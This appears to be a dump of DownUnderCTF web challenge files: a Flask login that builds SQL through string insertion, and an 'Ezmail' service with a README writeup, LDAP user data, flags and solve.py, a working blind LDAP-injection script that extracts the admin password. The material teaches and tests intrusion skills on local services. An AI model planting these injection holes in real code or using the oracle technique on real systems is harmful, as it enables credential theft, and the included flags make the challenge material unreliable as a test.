* from users WHERE username=(?) AND password='{pword}';" if uname != "sadcowboy": return "Incorrect username or password" else: c.execute(statement,(uname,)) if not c.fetchone(): return "Incorrect password" else: return render_template("/you_did_the_thing.html") else: return render_template("index.html") @app.route("/wow") def wow(): return "wow" if __name__ == '__main__': app.run(debug=False, host='0.0.0.0') ================================================ FILE: web/cowboy_world/challenge/static/robots.txt ================================================ # pls no look User-Agent: regular_cowboys Disallow: /sad.eml ================================================ FILE: web/cowboy_world/challenge/static/sad.eml ================================================ MIME-Version: 1.0 Date: Sun, 18 Jul 2021 20:48:32 +1000 Message-ID: Subject: :'( From: DownUnder CTF To: sadcowboys@everyone.com Content-Type: multipart/alternative; boundary="0000000000000f998405c7639019" --0000000000000f998405c7639019 Content-Type: text/plain; charset="UTF-8" Everyone says 'yeee hawwwww' but never 'hawwwww yeee' :'( thats why a 'sadcowboy' is only allowed to go into our website --0000000000000f998405c7639019 Content-Type: text/html; charset="UTF-8"
Everyone says 'yeee hawwwww'

but never 'hawwwww yeee'

:'(

thats why a 'sadcowboy' is only allowed to go into our website
--0000000000000f998405c7639019-- ================================================ FILE: web/cowboy_world/challenge/templates/index.html ================================================

Login

Username:


Password:



================================================ FILE: web/cowboy_world/challenge/templates/you_did_the_thing.html ================================================

Welcome fellow sadcowboy *tips hat*


DUCTF{haww_yeeee_downunderctf?}

 ================================================ FILE: web/cowboy_world/challenge.yml ================================================ version: "0.1" id: cowboy-world name: Cowboy World category: web description: > I heard this is the coolest site for cowboys and can you find a way in? Author: Crem connection_info: ${url} tags: - beginner flags: - DUCTF{haww_yeeee_downunderctf?} ================================================ FILE: web/cowboy_world/docker-compose.yml ================================================ version: "2" services: web: build: . ports: - "5000:5000" ================================================ FILE: web/cowboy_world/flag.txt ================================================ DUCTF{haww_yeeee_downunderctf?} ================================================ FILE: web/cowboy_world/requirements.txt ================================================ click==8.0.1 Flask==2.0.1 itsdangerous==2.0.1 Jinja2==3.0.1 MarkupSafe==2.0.1 Werkzeug==2.0.1 gunicorn==20.1.0 ================================================ FILE: web/ezmail/.dockerignore ================================================ data/ solve/ venv/ __pycache__/ flag.txt ================================================ FILE: web/ezmail/Dockerfile ================================================ FROM python:3.9-slim WORKDIR /app RUN pip install --no-cache-dir fastapi uvicorn[standard] aioredis ldap3 python-jose gunicorn slowapi COPY ./src /app ENTRYPOINT [ "gunicorn", "-b", "0.0.0.0:8000", "-k", "uvicorn.workers.UvicornWorker", "main:app" ] ================================================ FILE: web/ezmail/README.md ================================================ # Ezmail **Catagory**: web **Difficulty**: Medium **Author**: todo#7331 ## Flavour Whilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin` account for the whole organization. **Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive ## Description Largely a blind ldap injection challenge with a pinch of api recon (i.e. reading the docs). Challenge involves reading leaking `userPassword` fields for ldap users in a "leave a message" application. Players can leave messages for users by specifying their ldap common names. The lookup done to map common name -> uuid is injectable, but asynchronus to the request. Players can build a oracle by sending a message containing a ldap injected payload. If the payload results in a value it will be reflected in the "recipients" field of the message when the message is looked up by uuid, otherwise it will be missing. Medium challenge as most players won't have much experience with ldap, and there are a number of gotcha's that need to be understood. ## Writeup _a solve script can be found in ./solve_ 1. Players notice that the challenge is ldap - this is hinted at in the flavour text, and the world ldap is present in the docs. 2. Players notice that inputting special characters (esp `)`) as the name of a recipient will result in that recipient not appearing in the `recipients` field of the sent message. 1. e.g. Sending a message with `an_ok_name` as well as a invalid name `)`... 1. `POST /message {"recipients":["an_ok_name",")"], ...} -> some_message_id` 2. ... will result in `)` disappearing from the recipients list when the message is fetched 1. `GET /message/some_message_id -> {"recipients":["an_ok_name"]}` 3. Players notice that putting a ldap identity (e.g. `someuser)(cn=*`) as a recipient passes. This in combination with the previous fact reveals a LDAP injection. 4. The flavour text mentions to get the `userPassword` field. This can be tested with `someuser)(userPassword=*`) 5. Players do some research on ldap and learn that the `userPassword` field uses a octet string so wildcard matches don't work, there are however `strcmp`-esque operators. 6. There is a `octetStringOrderingMatch` operator on octet strings that will return results if our input is "larger" than the stored value. 7. Therefore players are able to enumerate the `userPassword` one character at a time. 1. If the player's guess is less than or equal to the `userPassword` the recipient will be missing 2. If the player's guess is greater than the `userPassword`, then the recipient will be present. 3. The "highest" value that does not appear is hence a character in the password 8. Players notice they can also batch requests to perform 8 at a time. 9. Using this observation its possible to construct a blind search for the password either linearly or using a binary (or octonary) search. ## Running `docker-compose up` Probably can share between players if we pray to the uuid gods hard enough. :shrug: ================================================ FILE: web/ezmail/challenge.yml ================================================ version: "0.1" id: ezmail name: Ezmail category: web description: | Whilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin` account for the whole organization. **Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive Author: todo#7331 connection_info: ${url} tags: - medium flags: - DUCTF{th4t_w4snt_sqli_22a81af2} ================================================ FILE: web/ezmail/data/generate_ldif.py ================================================ import faker import uuid import secrets NUM_USERS = 64 GENERATE_ROOT = True FLAG = open('../flag.txt', 'r').read().strip() fake = faker.Faker() block = lambda b: "\n".join(b) + '\n\n' with open('users.ldif', 'w') as f: if GENERATE_ROOT: f.write(block([ "dn: dc=ductf,dc=org", "objectClass: dcObject", "objectClass: organization", "dc: ductf", "o: ductf" ])) f.write(block([ "dn: ou=users,dc=ductf,dc=org", "objectClass: organizationalUnit", "ou: users", ])) cns = [] f.write(block([ "dn: cn=admin,ou=users,dc=ductf,dc=org", "cn: admin", "sn: admin", "objectClass: inetOrgPerson", "uid: "+str(uuid.uuid4()), "userPassword: "+FLAG ])) for i in range(NUM_USERS): cn = fake.user_name() cns.append(cn) f.write(block([ "dn: cn="+cn+",ou=users,dc=ductf,dc=org", "cn: "+cn, "sn: "+cn.title(), "objectClass: inetOrgPerson", "uid: "+str(uuid.uuid4()), "userPassword: "+secrets.token_hex(24), ])) f.write(block([ "dn: cn=ezmail,ou=users,dc=ductf,dc=org", "cn: ezmail", "objectClass: groupOfNames" ] + [ f"member: cn={cn},ou=users,dc=ductf,dc=org" for cn in cns ])) ================================================ FILE: web/ezmail/data/users.ldif ================================================ dn: dc=ductf,dc=org objectClass: dcObject objectClass: organization dc: ductf o: ductf dn: ou=users,dc=ductf,dc=org objectClass: organizationalUnit ou: users dn: cn=admin,ou=users,dc=ductf,dc=org cn: admin sn: admin objectClass: inetOrgPerson uid: 2b4ce740-01de-4d0e-9a95-4d6a67cf6f96 userPassword: DUCTF{th4t_w4snt_sqli_22a81af2} dn: cn=crosbyjames,ou=users,dc=ductf,dc=org cn: crosbyjames sn: Crosbyjames objectClass: inetOrgPerson uid: 655d8757-cb39-4372-bd4f-3519fb8b1b4b userPassword: beb9cb5662d5def61b48b7b31b8c46ef9c118d8781e9e7e0 dn: cn=owensgail,ou=users,dc=ductf,dc=org cn: owensgail sn: Owensgail objectClass: inetOrgPerson uid: 198541f1-62f0-4fad-ae85-8f44439a1046 userPassword: 005299e1ebb811e28f17c3254584757ece2420cc61744def dn: cn=cbarnes,ou=users,dc=ductf,dc=org cn: cbarnes sn: Cbarnes objectClass: inetOrgPerson uid: 9a7dd51a-5eed-43b8-b826-48acfe9be47a userPassword: c639cb4e459b24b7e2b3e9b5f9943d1cab73a6298fa8aed0 dn: cn=jackgonzalez,ou=users,dc=ductf,dc=org cn: jackgonzalez sn: Jackgonzalez objectClass: inetOrgPerson uid: 4dea9b7e-9751-4f38-921c-6f49262da8af userPassword: b51421bf5d072544ad4f480684ee3c848b794ab758c8f2ed dn: cn=kimberly80,ou=users,dc=ductf,dc=org cn: kimberly80 sn: Kimberly80 objectClass: inetOrgPerson uid: 8b4d909b-796f-45a8-9027-337a6fab3645 userPassword: a7591948ec604b7d1ddb51a54e5966dc720f7a4e5580b643 dn: cn=powersheather,ou=users,dc=ductf,dc=org cn: powersheather sn: Powersheather objectClass: inetOrgPerson uid: 17d520c8-7c5e-4533-a392-aa38a5b47715 userPassword: 5a1e63d84639416665170636ccc1d42b4ad43b9f25b46c86 dn: cn=youngsuzanne,ou=users,dc=ductf,dc=org cn: youngsuzanne sn: Youngsuzanne objectClass: inetOrgPerson uid: 98c5d902-4593-465a-919d-30845cdec878 userPassword: 065a84b8091c93ad3b34d1f79c7d57eb2e0ca33eb55ba07f dn: cn=kayla07,ou=users,dc=ductf,dc=org cn: kayla07 sn: Kayla07 objectClass: inetOrgPerson uid: 3cadc34e-8488-415d-854d-3369567a4ff4 userPassword: eccaf229bb87db081b278bead3b5f384d9d37090a7bcefd8 dn: cn=wilsonashley,ou=users,dc=ductf,dc=org cn: wilsonashley sn: Wilsonashley objectClass: inetOrgPerson uid: e87ab125-fc3a-4c65-8178-9ba188f1d0df userPassword: b42cd0abfdafc20530498407fcfcad16cc689f3bbc5284da dn: cn=jaustin,ou=users,dc=ductf,dc=org cn: jaustin sn: Jaustin objectClass: inetOrgPerson uid: 9f51e936-a0f7-436c-a55d-0414d56eae17 userPassword: 9c46ed13a91dfff3e5cd2b42e60de9d0d1298d09d72d2d98 dn: cn=thomasdavid,ou=users,dc=ductf,dc=org cn: thomasdavid sn: Thomasdavid objectClass: inetOrgPerson uid: 164685f6-7c3f-4136-a635-283d7268bf6b userPassword: a45b39fa8a3e74bca385b6b94f14cb65ba7f0f71c30427ee dn: cn=lejulie,ou=users,dc=ductf,dc=org cn: lejulie sn: Lejulie objectClass: inetOrgPerson uid: fd46738d-508a-46a6-a18a-27c627d130ca userPassword: 6d0bdfa33d6939efe639464dcca48d28d6644ba150b78ccb dn: cn=ralph01,ou=users,dc=ductf,dc=org cn: ralph01 sn: Ralph01 objectClass: inetOrgPerson uid: 31f2f3f2-a7cf-4534-9f4e-6514dbd104fa userPassword: e93453e5e68047a15eda0fb8da517bb82bf46bcbbb05f412 dn: cn=scastillo,ou=users,dc=ductf,dc=org cn: scastillo sn: Scastillo objectClass: inetOrgPerson uid: 43e91c44-b2be-48ec-a8b9-47a777badd36 userPassword: 774e8e452eea54b0fc09ec8827695b74bf54e3f4b8bd0735 dn: cn=benjaminsmith,ou=users,dc=ductf,dc=org cn: benjaminsmith sn: Benjaminsmith objectClass: inetOrgPerson uid: 58f57509-4ab1-463c-85de-d4ac6a0c3e0c userPassword: 98c593566f97ef913b4a4829e89154e3c211b5ea1b39e984 dn: cn=marysawyer,ou=users,dc=ductf,dc=org cn: marysawyer sn: Marysawyer objectClass: inetOrgPerson uid: 637068be-69fa-4073-98a1-e077a750caad userPassword: c69e6e3db4613405120ab8ad552ad41b3ed840e77ef214a9 dn: cn=bassjustin,ou=users,dc=ductf,dc=org cn: bassjustin sn: Bassjustin objectClass: inetOrgPerson uid: 9bf361d9-814f-4289-aad1-eba8019e1318 userPassword: f69502c2d310c07ce82328d8acba37bf62518ffe17ba211e dn: cn=cindyedwards,ou=users,dc=ductf,dc=org cn: cindyedwards sn: Cindyedwards objectClass: inetOrgPerson uid: 9d997479-d5d5-4ff3-a1ac-c2f484e6e33a userPassword: 65a3d20168761ff3d0d1b1201463144b303cd6cb51489c1d dn: cn=zunderwood,ou=users,dc=ductf,dc=org cn: zunderwood sn: Zunderwood objectClass: inetOrgPerson uid: 20c282e3-933f-4fdc-98ee-f87c36cf34c2 userPassword: 71057f687ac04d21830b467de328d7901d7f558c78d5405a dn: cn=markroberson,ou=users,dc=ductf,dc=org cn: markroberson sn: Markroberson objectClass: inetOrgPerson uid: 2692060f-6587-463f-9df3-88d5479293ed userPassword: c3fd5e21fbe3ce6977103548ad6132746b02d58b4a376991 dn: cn=katrina04,ou=users,dc=ductf,dc=org cn: katrina04 sn: Katrina04 objectClass: inetOrgPerson uid: 9d0ed5f3-265b-4dc6-be8d-e363da201609 userPassword: 65e91114f50b37431673c9be6168cd8177dc824efd994e5c dn: cn=walkermichelle,ou=users,dc=ductf,dc=org cn: walkermichelle sn: Walkermichelle objectClass: inetOrgPerson uid: 6bc74fc3-88c6-4180-b7ee-d6f60fb00173 userPassword: 6bd46dbdf0412539bbe385b5a681818109c52208fe9c79de dn: cn=nicholasking,ou=users,dc=ductf,dc=org cn: nicholasking sn: Nicholasking objectClass: inetOrgPerson uid: bc459578-7d18-46de-b445-7185ed9da7c0 userPassword: b82950b897fce2939f8caee0a800859e670070479afeb76a dn: cn=jon76,ou=users,dc=ductf,dc=org cn: jon76 sn: Jon76 objectClass: inetOrgPerson uid: 72df615e-a1ad-46f3-8ec4-ec0650c3ccb7 userPassword: 1d0976b7ce77c9386c2668d72a0f77ffdd0e56f32d70203a dn: cn=trevormartin,ou=users,dc=ductf,dc=org cn: trevormartin sn: Trevormartin objectClass: inetOrgPerson uid: 556286ed-b090-4d05-8469-98a3309b1631 userPassword: decd841f3f1cc78efd2f5f8198f08ca6abdf242b350a788b dn: cn=mjohnson,ou=users,dc=ductf,dc=org cn: mjohnson sn: Mjohnson objectClass: inetOrgPerson uid: f979c446-0378-4931-bc57-04df2497f89d userPassword: 945a0c444576022135f0aac04e287cb54fc77e79d167253b dn: cn=brian36,ou=users,dc=ductf,dc=org cn: brian36 sn: Brian36 objectClass: inetOrgPerson uid: d5667612-3755-487a-8884-76c49a780c71 userPassword: 8fee1fdfbe440f55638898acece5355c19df0653e3782c53 dn: cn=davissean,ou=users,dc=ductf,dc=org cn: davissean sn: Davissean objectClass: inetOrgPerson uid: 4326de2c-ae3b-4883-a8e7-974b29f0c562 userPassword: a3440709f9f2c7f6a3da0cc28637157b46585682d5b1f64c dn: cn=anthony00,ou=users,dc=ductf,dc=org cn: anthony00 sn: Anthony00 objectClass: inetOrgPerson uid: f930a4dd-03c9-47b0-bcd7-2c88b4439707 userPassword: ac1da8bf3732a481ee5c708e8c3904cf1132dd9405df56fe dn: cn=zacharyjones,ou=users,dc=ductf,dc=org cn: zacharyjones sn: Zacharyjones objectClass: inetOrgPerson uid: 77b4e623-2d3d-4cb4-88ac-6c5a6024d60a userPassword: 19feb5586147c63edee4aa5bfc58411a9492f61039063646 dn: cn=mhunter,ou=users,dc=ductf,dc=org cn: mhunter sn: Mhunter objectClass: inetOrgPerson uid: 21c75dc4-b0db-4e2f-9827-a7a9c1b01b1f userPassword: 2c2fa3dd6f0c5da1b7a7fd97366ab0f46daf578a0fba5180 dn: cn=josephcain,ou=users,dc=ductf,dc=org cn: josephcain sn: Josephcain objectClass: inetOrgPerson uid: 639f0b76-39bf-4987-9444-27bca990fbae userPassword: 0048308ba6852b2b395e8763353cff9fe71581bd3c9fa665 dn: cn=bethanyjones,ou=users,dc=ductf,dc=org cn: bethanyjones sn: Bethanyjones objectClass: inetOrgPerson uid: a7c7ce36-63be-4c94-b1dc-cca7473cf051 userPassword: 29f32bdc74483670e2a923c369653e2613ad538015d4ccd6 dn: cn=kevin81,ou=users,dc=ductf,dc=org cn: kevin81 sn: Kevin81 objectClass: inetOrgPerson uid: 1a57050c-8b95-4787-bbd4-89671a4e94b4 userPassword: ac8b1cbb9d804df0ce8eec9e75254c21ae3efe36751606a5 dn: cn=brad05,ou=users,dc=ductf,dc=org cn: brad05 sn: Brad05 objectClass: inetOrgPerson uid: e3f5bdf2-a400-4f08-8eae-625e7cdea6cf userPassword: 300bfb8a7e5991bea2d758286da9210455e0e958c69e3fe5 dn: cn=brendafigueroa,ou=users,dc=ductf,dc=org cn: brendafigueroa sn: Brendafigueroa objectClass: inetOrgPerson uid: 87c92de3-7914-4fb0-a1a1-58b8803b77d5 userPassword: 623dc557a0be31927cec2b97ba30df6820b59c18688a79cf dn: cn=sarah68,ou=users,dc=ductf,dc=org cn: sarah68 sn: Sarah68 objectClass: inetOrgPerson uid: be0e43db-e67c-4c77-ac79-9eba58979296 userPassword: 0aab9dce3ee801609cbbdde17bbc6ae221223ff56f6a28f9 dn: cn=paulmarks,ou=users,dc=ductf,dc=org cn: paulmarks sn: Paulmarks objectClass: inetOrgPerson uid: 41ade577-6816-4985-b43e-9d16dd0d7d38 userPassword: ab60fbb80943fed07a6a8d74e3ecfa2581223367f5f81978 dn: cn=emily92,ou=users,dc=ductf,dc=org cn: emily92 sn: Emily92 objectClass: inetOrgPerson uid: 33a8b465-ed89-41ca-8124-58e9ea4a0511 userPassword: d522f85eb3331522aee7b08feda52b599c068f34fb9917cf dn: cn=xporter,ou=users,dc=ductf,dc=org cn: xporter sn: Xporter objectClass: inetOrgPerson uid: fb1d400b-320d-4279-8a6c-d9029d83fa18 userPassword: 808452c7a8d249d5be2f2e1b720247db969ee2cfb16c0ab0 dn: cn=williamsamy,ou=users,dc=ductf,dc=org cn: williamsamy sn: Williamsamy objectClass: inetOrgPerson uid: 292a99dc-91ca-4a7b-a8e0-9344635f54cf userPassword: f7ff7aa7e55416ea5f75f626d8880fc48464d2bc93bd35b2 dn: cn=pthomas,ou=users,dc=ductf,dc=org cn: pthomas sn: Pthomas objectClass: inetOrgPerson uid: f3986f84-0a31-4434-9859-727db292b9bc userPassword: 9935009d18530e57ea3387a1d4a24e6716bddbf3160e2340 dn: cn=yclarke,ou=users,dc=ductf,dc=org cn: yclarke sn: Yclarke objectClass: inetOrgPerson uid: 3664b7d3-6ba5-45d7-bdf4-2c099563757e userPassword: 45976b5f3a73ec5df3840a33a6288a6ff69d765d5ed606bd dn: cn=jesse02,ou=users,dc=ductf,dc=org cn: jesse02 sn: Jesse02 objectClass: inetOrgPerson uid: 58831e0b-9fce-4461-9eae-9162e1adedbc userPassword: 582dd42605e745d0215805d8e6797479d4720d3fcee4e568 dn: cn=katherine78,ou=users,dc=ductf,dc=org cn: katherine78 sn: Katherine78 objectClass: inetOrgPerson uid: 1f6a2c3b-407e-443b-aae5-4bc471029b97 userPassword: 6462d042054a89204ff0895b28228a845c2eb2fafa038ee2 dn: cn=jeannemorgan,ou=users,dc=ductf,dc=org cn: jeannemorgan sn: Jeannemorgan objectClass: inetOrgPerson uid: a346f2c0-26ea-4096-904c-53bbefbe1e6b userPassword: 0e17e3b0543908e3062ee0f0c3a8984b8c2dcc980f32366a dn: cn=aliciamueller,ou=users,dc=ductf,dc=org cn: aliciamueller sn: Aliciamueller objectClass: inetOrgPerson uid: db3ff2f4-ed5c-45cf-b7a9-924540643d59 userPassword: 556a0a0f9837d855123cc2aab9fa694d3ba471e5e80b3152 dn: cn=kgates,ou=users,dc=ductf,dc=org cn: kgates sn: Kgates objectClass: inetOrgPerson uid: c3f47025-206c-4c49-b246-4d76e7d545e7 userPassword: 6c7f7080d9bc2f0c9e41601f41ce6bde36480e5b2cd7d67e dn: cn=sstone,ou=users,dc=ductf,dc=org cn: sstone sn: Sstone objectClass: inetOrgPerson uid: 4ff07c9c-8ba9-49a2-a466-20cc8d79e7d8 userPassword: b10fd25cda59bf843a519069f776687b4879ad0fa998714b dn: cn=longronald,ou=users,dc=ductf,dc=org cn: longronald sn: Longronald objectClass: inetOrgPerson uid: 465cc229-100c-404f-91c1-91451dd6344e userPassword: 1de35500b5ba6bf38dbb3810b3c0276e9ba66afbab0760c3 dn: cn=darren28,ou=users,dc=ductf,dc=org cn: darren28 sn: Darren28 objectClass: inetOrgPerson uid: 01a89161-8287-44af-ab6e-3c54ef007ae5 userPassword: 610b6b1605509a8da1b770b7d2e0babb7aae76d8ea3a4f78 dn: cn=patelkathryn,ou=users,dc=ductf,dc=org cn: patelkathryn sn: Patelkathryn objectClass: inetOrgPerson uid: aaa87f40-9838-47e8-a728-a9ef4205ff10 userPassword: 1c3533dd0810831008d82e31e708af8945306f3fe754a5fb dn: cn=camposnichole,ou=users,dc=ductf,dc=org cn: camposnichole sn: Camposnichole objectClass: inetOrgPerson uid: d862ff8d-3fca-4530-bac5-c15966c91a56 userPassword: e3f28e2b864678f84fb8b382c145d3cb9c19a900f4bfd198 dn: cn=megan12,ou=users,dc=ductf,dc=org cn: megan12 sn: Megan12 objectClass: inetOrgPerson uid: faf00d87-e1b0-45cb-beea-ed7832693f13 userPassword: df2c78ef6a884a0ce5c3fed39bda751c26581519187b22ff dn: cn=jenniferwiley,ou=users,dc=ductf,dc=org cn: jenniferwiley sn: Jenniferwiley objectClass: inetOrgPerson uid: 41751be8-b8fb-430b-b5a2-6277a7ada1f4 userPassword: e0923c565dc83e1fce22f5d0b9e09560a73352027bb15057 dn: cn=jenniferpalmer,ou=users,dc=ductf,dc=org cn: jenniferpalmer sn: Jenniferpalmer objectClass: inetOrgPerson uid: 5f0d81f5-9be3-4177-a0b8-c3de8a9fbe07 userPassword: e4988050c10882bc6a483742c8fd4a942ccddaadc0f131a4 dn: cn=gnolan,ou=users,dc=ductf,dc=org cn: gnolan sn: Gnolan objectClass: inetOrgPerson uid: 7563752c-0d86-4844-b1c4-77e66a16bf1c userPassword: 75151e87c282f66b7d15a7a4bda4881f4eee5275525e929a dn: cn=whayes,ou=users,dc=ductf,dc=org cn: whayes sn: Whayes objectClass: inetOrgPerson uid: 3349a685-2d7f-42ff-b849-f630da945907 userPassword: 389615238cd0dfbf09c0eb2bf3c2df18c5b6b3270d26881b dn: cn=josephrodriguez,ou=users,dc=ductf,dc=org cn: josephrodriguez sn: Josephrodriguez objectClass: inetOrgPerson uid: cd951375-eec0-42f4-8c20-357bb1c4d35f userPassword: e41560ce7647a5e8138c4de7da9b26b3b391acf1fb950415 dn: cn=markcraig,ou=users,dc=ductf,dc=org cn: markcraig sn: Markcraig objectClass: inetOrgPerson uid: 890c0bb0-142a-4f8d-a7a3-bf02893c746e userPassword: a9e0ac47b7869ffe01670188177a37357c70d6bf84f800a8 dn: cn=david30,ou=users,dc=ductf,dc=org cn: david30 sn: David30 objectClass: inetOrgPerson uid: 57970126-6180-401e-9ef8-b21a5ee23521 userPassword: ea73a43f347af6a3b59ac28046b8ffe2aba2034232e0b0cf dn: cn=elliottlaurie,ou=users,dc=ductf,dc=org cn: elliottlaurie sn: Elliottlaurie objectClass: inetOrgPerson uid: 015ac6e2-bb55-4a93-8ada-8632532dd570 userPassword: 2bda1eb8f8c365617ee2ccd932aaae2e5fa09124295e616d dn: cn=kinglaura,ou=users,dc=ductf,dc=org cn: kinglaura sn: Kinglaura objectClass: inetOrgPerson uid: 83ae4a59-158b-4074-a731-9bd3c8308382 userPassword: fb0782c91df9fb6fb6d7a3860d14bef7b12fbb28b407a777 dn: cn=monica89,ou=users,dc=ductf,dc=org cn: monica89 sn: Monica89 objectClass: inetOrgPerson uid: 56b77cb2-b9be-42bd-81e5-d7f07191ce31 userPassword: 9080b0d9e20ea7d3ca5bca4abb5e031ab7e4c1ae74629a2b dn: cn=ezmail,ou=users,dc=ductf,dc=org cn: ezmail objectClass: groupOfNames member: cn=crosbyjames,ou=users,dc=ductf,dc=org member: cn=owensgail,ou=users,dc=ductf,dc=org member: cn=cbarnes,ou=users,dc=ductf,dc=org member: cn=jackgonzalez,ou=users,dc=ductf,dc=org member: cn=kimberly80,ou=users,dc=ductf,dc=org member: cn=powersheather,ou=users,dc=ductf,dc=org member: cn=youngsuzanne,ou=users,dc=ductf,dc=org member: cn=kayla07,ou=users,dc=ductf,dc=org member: cn=wilsonashley,ou=users,dc=ductf,dc=org member: cn=jaustin,ou=users,dc=ductf,dc=org member: cn=thomasdavid,ou=users,dc=ductf,dc=org member: cn=lejulie,ou=users,dc=ductf,dc=org member: cn=ralph01,ou=users,dc=ductf,dc=org member: cn=scastillo,ou=users,dc=ductf,dc=org member: cn=benjaminsmith,ou=users,dc=ductf,dc=org member: cn=marysawyer,ou=users,dc=ductf,dc=org member: cn=bassjustin,ou=users,dc=ductf,dc=org member: cn=cindyedwards,ou=users,dc=ductf,dc=org member: cn=zunderwood,ou=users,dc=ductf,dc=org member: cn=markroberson,ou=users,dc=ductf,dc=org member: cn=katrina04,ou=users,dc=ductf,dc=org member: cn=walkermichelle,ou=users,dc=ductf,dc=org member: cn=nicholasking,ou=users,dc=ductf,dc=org member: cn=jon76,ou=users,dc=ductf,dc=org member: cn=trevormartin,ou=users,dc=ductf,dc=org member: cn=mjohnson,ou=users,dc=ductf,dc=org member: cn=brian36,ou=users,dc=ductf,dc=org member: cn=davissean,ou=users,dc=ductf,dc=org member: cn=anthony00,ou=users,dc=ductf,dc=org member: cn=zacharyjones,ou=users,dc=ductf,dc=org member: cn=mhunter,ou=users,dc=ductf,dc=org member: cn=josephcain,ou=users,dc=ductf,dc=org member: cn=bethanyjones,ou=users,dc=ductf,dc=org member: cn=kevin81,ou=users,dc=ductf,dc=org member: cn=brad05,ou=users,dc=ductf,dc=org member: cn=brendafigueroa,ou=users,dc=ductf,dc=org member: cn=sarah68,ou=users,dc=ductf,dc=org member: cn=paulmarks,ou=users,dc=ductf,dc=org member: cn=emily92,ou=users,dc=ductf,dc=org member: cn=xporter,ou=users,dc=ductf,dc=org member: cn=williamsamy,ou=users,dc=ductf,dc=org member: cn=pthomas,ou=users,dc=ductf,dc=org member: cn=yclarke,ou=users,dc=ductf,dc=org member: cn=jesse02,ou=users,dc=ductf,dc=org member: cn=katherine78,ou=users,dc=ductf,dc=org member: cn=jeannemorgan,ou=users,dc=ductf,dc=org member: cn=aliciamueller,ou=users,dc=ductf,dc=org member: cn=kgates,ou=users,dc=ductf,dc=org member: cn=sstone,ou=users,dc=ductf,dc=org member: cn=longronald,ou=users,dc=ductf,dc=org member: cn=darren28,ou=users,dc=ductf,dc=org member: cn=patelkathryn,ou=users,dc=ductf,dc=org member: cn=camposnichole,ou=users,dc=ductf,dc=org member: cn=megan12,ou=users,dc=ductf,dc=org member: cn=jenniferwiley,ou=users,dc=ductf,dc=org member: cn=jenniferpalmer,ou=users,dc=ductf,dc=org member: cn=gnolan,ou=users,dc=ductf,dc=org member: cn=whayes,ou=users,dc=ductf,dc=org member: cn=josephrodriguez,ou=users,dc=ductf,dc=org member: cn=markcraig,ou=users,dc=ductf,dc=org member: cn=david30,ou=users,dc=ductf,dc=org member: cn=elliottlaurie,ou=users,dc=ductf,dc=org member: cn=kinglaura,ou=users,dc=ductf,dc=org member: cn=monica89,ou=users,dc=ductf,dc=org ================================================ FILE: web/ezmail/docker-compose.yml ================================================ services: ldap: image: docker.io/bitnami/openldap ports: - 1389:1389 - 1636:1636 environment: - LDAP_ROOT=dc=ductf,dc=org - LDAP_ADMIN_USERNAME=zzchallengeadmin - LDAP_ADMIN_PASSWORD=JeQ2MjV7qdQbvHQBkosr_k_Qw679leHv volumes: - ./data/users.ldif:/ldifs/users.ldif redis: image: redis ports: - 6379:6379 app: image: ezmail.web.ctf.local build: . environment: - REDIS_HOST=redis - LDAP_HOST=ldap:1389 ports: [ 8000:8000 ] links: [ ldap, redis ] ================================================ FILE: web/ezmail/flag.txt ================================================ DUCTF{th4t_w4snt_sqli_22a81af2} ================================================ FILE: web/ezmail/solve/solve.py ================================================ import time from urllib3.util.retry import Retry from requests.adapters import HTTPAdapter import string import requests BASE_URL = 'http://localhost:8000' MAX_TRIES = 10 TARGET_USER = 'admin' CHARSET = list(sorted(ord(c) for c in string.ascii_lowercase + string.digits + '_')) adapter = HTTPAdapter(max_retries=Retry( total=3, backoff_factor=1, status_forcelist=[429], method_whitelist=["GET", "POST"] )) sess = requests.Session() sess.mount("https://", adapter) sess.mount("http://", adapter) n_requests = 0 start = time.time() # 0. Get a token token = sess.post(f"{BASE_URL}/token").json()["access_token"] def send_message(targets): global n_requests n_requests += 1 return sess.post(f"{BASE_URL}/message", json={ "recipients": targets, "content": "solving", "identity_provider": "ldap" }, headers={'Authorization': f'Bearer {token}'}).json() def message_status(msg_id): global n_requests n_requests += 1 return sess.get(f"{BASE_URL}/message/{msg_id}/status", headers={ 'Authorization': f'Bearer {token}' }).json() def message_info(msg_id): global n_requests n_requests += 1 return sess.get(f"{BASE_URL}/message/{msg_id}", headers={ 'Authorization': f'Bearer {token}' }).json() def send_and_process_msg(targets): msg_id = send_message(targets) n_tries = 0 while (status := message_status(msg_id)) not in ['failed', 'sent'] and n_tries < MAX_TRIES: n_tries += 1 time.sleep(0.1) assert n_tries < MAX_TRIES return message_info(msg_id) def encode(c): return f'\\{c:02x}' def guess_character(known): prefix = f"{TARGET_USER})(userPassword:2.5.13.18:=" + "".join(encode(ord(c)) for c in list(known)) # Naively just search everything for i in range(0, len(CHARSET), 8): guesses = [prefix+encode(c) for c in CHARSET[i:i+8]] msg = send_and_process_msg(guesses) if len(msg['recipients']) > 0: recipient = min(int(r.split('\\')[-1], 16) for r in msg['recipients']) return CHARSET[CHARSET.index(recipient) - 1] return None known = 'DUCTF{' while (c := guess_character(known)) is not None: known += chr(c) print(known, end="\r") print("FLAG:", known + '}') print("REQS:", n_requests) print("TIME:", time.time() - start) ================================================ FILE: web/ezmail/src/config.py ================================================ import os REDIS_HOST = os.environ.get("REDIS_HOST", "localhost") LDAP_HOST = os.environ.get("LDAP_HOST", "localhost:1389") SECRET_KEY = os.environ.get( "SECRET_KEY", "c39042a8731012ce0fbc06179044df22b493daefea4a58e606130b0127db325c" ) ================================================ FILE: web/ezmail/src/main.py ================================================ import json import uuid from typing import List import jose import jose.jwt from fastapi import (BackgroundTasks, Body, Depends, FastAPI, HTTPException, Request, Response, status) from fastapi.security import OAuth2PasswordBearer from slowapi import Limiter, _rate_limit_exceeded_handler from slowapi.util import get_ipaddr from slowapi.errors import RateLimitExceeded import config import message as msg_lib from models import (IdType, MessageInfo, MessageStatus, MessageToSend, TokenResponse, User, UserRole) openapi_description = """ API documentation for Ezmail Get started by requesting an anonymous api token! """.strip() limiter = Limiter(key_func=get_ipaddr) app = FastAPI(title="Ezmail", description=openapi_description) app.state.limiter = limiter app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler) oauth2_scheme = OAuth2PasswordBearer("token") def issue_token(user: User) -> str: # :thonk: return jose.jwt.encode( json.loads(user.json()), config.SECRET_KEY, 